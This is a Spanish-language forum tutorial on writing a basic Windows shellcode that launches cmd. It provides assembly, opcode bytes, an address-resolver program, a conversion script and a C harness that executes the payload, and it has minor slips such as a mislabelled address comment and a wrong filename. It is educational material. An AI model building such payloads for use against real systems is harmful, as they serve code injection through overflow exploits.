Shellcode

Que es una shellcode?

Una shellcode es un conjunto de órdenes programadas generalmente en lenguaje ensamblador que se inyectan en la pila para conseguir que la máquina en la que reside se ejecute la operación que se haya programado.

Una shellcode es basicamente una serie de ordenes en ensamblador que hace al-
go de la cual sacamos provecho; ejecutar /bin/sh para obtener una shell, co-
piar una shell y setearla con suid root, etc. Tiene unas caracteristicas de
programacion un tanto especiales que luego veremos en detalle.

Se usa para conseguir ejecutar un codigo despues de haber sobreescrito la di-
reccion de retorno de un programa/funcion mediante un overflow, o mediante
cualquier otro metodo valido. Es decir, el valor de la direccion de retorno
que se sobreescribira sera la de nuestra shellcode. No me meto mucho en esto
porque la finalidad de este texto no es como programar un xploit de buffer
overflow, sino una shellcode. Simplemente decir que cuando se produzca el
desbordamiento y el salto se ejecutara nuestra shellcode.




Creando una Shellcode en Windows by lShadowl

Introduccion
Este tutorial pretende exponer de una manera clara y bastante simple el procedimiento para codificar una shellcode basica. Podemos dividir el proceso en 2 partes: codificacion en ensamblador y conversion a opcode.
El objetivo del tutorial es crear una shellcode que abra una cmd.

Todas las herramientas usadas en este tutorial pueden ser descargadas desde la plataforma Cygwin la cual es un emulador de sistemas Unix para Windows.
La lista de las paquetes minimos ha descargar pasar seguir el tutorial es:
-----Categoria Devel----
>binutils
>gcc
>nasm
----Categoria System----
>util-linux
Otras herramientas y scripts usados estan como codigo fuente en el tutorial.


Codificacion en ensamblador
Para esta parte necesitaremos saber que funciones vamos a utilizar para cumplir el proposito (abrir la cmd). En nuestro caso necesitaremos el acceso a las funciones "WinExec" [con que ejecutaremos la cmd] y "ExitProcess" [con la cual saldremos del programa], ambas se encuentran en la dll "kernel32".
Para utilizarlas al codificar necesitamos saber su offset, para esto usaremos a "arwin", un programa bastante sencillo que nos devuelve especificamente lo que buscamos, la direccion de la funcion. Aqui su codigo:

Código
#include <windows.h>
#include <stdio.h>
 
/***************************************
arwin - win32 address resolution program
by steve hanna v.01
  vividmachines.com
  shanna@uiuc.edu
you are free to modify this code
but please attribute me if you
change the code. bugfixes & additions
are welcome please email me!
to compile:
you will need a win32 compiler with
the win32 SDK
 
this program finds the absolute address
of a function in a specified DLL.
happy shellcoding!
***************************************/

 
 
int main(int argc, char** argv)
{
HMODULE hmod_libname;
FARPROC fprc_func;
 
printf("arwin - win32 address resolution program - by steve hanna - v.01\n");
if(argc < 3)
{
printf("%s <Library Name> <Function Name>\n",argv[0]);
exit(-1);
}
 
hmod_libname = LoadLibrary(argv[1]);
if(hmod_libname == NULL)
{
printf("Error: could not load library!\n");
exit(-1);
}
fprc_func = GetProcAddress(hmod_libname,argv[2]);
 
if(fprc_func == NULL)
{
printf("Error: could find the function in the library!\n");
exit(-1);
}
printf("%s is located at 0x%08x in %s\n",argv[2],(unsigned int)fprc_func,argv[1]);
 
 
}

Es necesario saber la direccion de la funcion que utilizaremos ya que esta cambia a partir de las versiones del sistema operativo y sus Service Packs. Ya con arwin usaremos la linea:
$ arwin kernel32.dll WinExec

con lo cual obtendremos un resultado parecido a esto:


El mismo proceso para buscar "ExitProcess"...


Ahora que tenemos las direcciones, pasemos al code en asm.
Código
BITS 32                  ;especificamos que el code es 32bits
 
jmp short cmd                  ;"cmd" a la pila
 
init:
  mov edx,7C8623ADh      ; 7C8623ADh>>direccion de WinExec a edx
  call edx                             ; hacemos la llamada (recordemos que "cmd" esta en la pila)
  mov edx,7C81CAFAh      ; 7C8623ADh>>direccion de ExitProcess a edx
  call edx                            ; salimos
 
cmd:
  CALL init
  db 'cmd',00h    ; obviamente aqui podriamos a?adir otros comandos, eso ya seria parte de su ingenio

(Entremedio) Como pusiste a cmd en la pila, no veo ni un push?
La respuesta a esta pregunta reside en el comportamiento de la instrucción 'call' en conjunto con la instrucción 'ret'>>
CALL lo que hace es introducir IP+1 en la pila, ósea la instrucción que sigue al CALL, y salta a la dirección que se le indica, RET toma el valor que introduce el CALL en la pila, y salta a el.



Conversion a opcode
Bien, ya que tenemos el codigo listo en shc.asm lo pasaremos ha codigo objeto. Para esto usaremos nasm asi:
$ nasm -f bin -o shc.bin shc.asm

En shc.bin tendremos algo como esto:
?.??#?|????|???????cmd 

luego, usaremos la herramienta xxd para pasarlo a opcode, de esta forma:
$ xxd -i shc.asm

y nos devolvera esto:


Y listo, tenemos nuestra shellcode lista en C:
Código
unsigned char shc_bin[] = {
 0xeb, 0x0e, 0xba, 0xad, 0x23, 0x86, 0x7c, 0xff, 0xd2, 0xba, 0xfa, 0xca,
 0x81, 0x7c, 0xff, 0xd2, 0xe8, 0xed, 0xff, 0xff, 0xff, 0x63, 0x6d, 0x64,
 0x00
};
unsigned int shc_bin_len = 25;


Ahora, hay scripts que nos permiten tener otro tipo de salida del opcode, veamos este:

Código
#!/bin/bash
if [ $# -ne 1 ]
then
   printf "\n\tUsage: $0 filename.bin\n\n"
   exit
fi
 
filename=`echo $1 | sed s/"\.bin$"//`
rm -f $filename.shellcode
 
for i in `xxd -i $filename.bin | grep , | sed s/" "/" "/ | sed s/","/""/g | sed s/"0x"/"\\\\x"/g`
do
   echo -n "\\$i" >> $filename.shellcode
   echo -n "\\$i"
done
echo

De esta forma::
$ xxd-shellcode.sh shc.bin

Devolverá esto:


y en shc.shellcode los opcodes
\xeb\x0e\xba\xad\x23\x86\x7c\xff\xd2\xba\xfa\xca\x81\x7c\xff\xd2\xe8\xed\xff\xff\xff\x63\x6d\x64

Ahora veamos la plantilla en C para probarla
--------------------------
Código
char code[] = "[b]OPCODES[/b]";
 
int main()
{
int (*func)();
func = (int (*)()) code;
(int)(*func)();
}
--------------------------

Asi que tendriamos en sch.c ...:

Código
char code[] = "\xeb\x0e\xba\xad\x23\x86\x7c\xff\xd2\xba\xfa\xca\x81\x7c\xff\xd2\xe8\xed\xff\xff\xff\x63\x6d\x64\x00";
 
int main()
{
int (*func)();
func = (int (*)()) code;
(int)(*func)();
}

Compilamos($ gcc -o shc shc.c) y probamos:


Saludos!

_______________________________________________________________________________________________________________
Post original de lShadowl : URL
Sagrini : elhacker.net 2011


Comments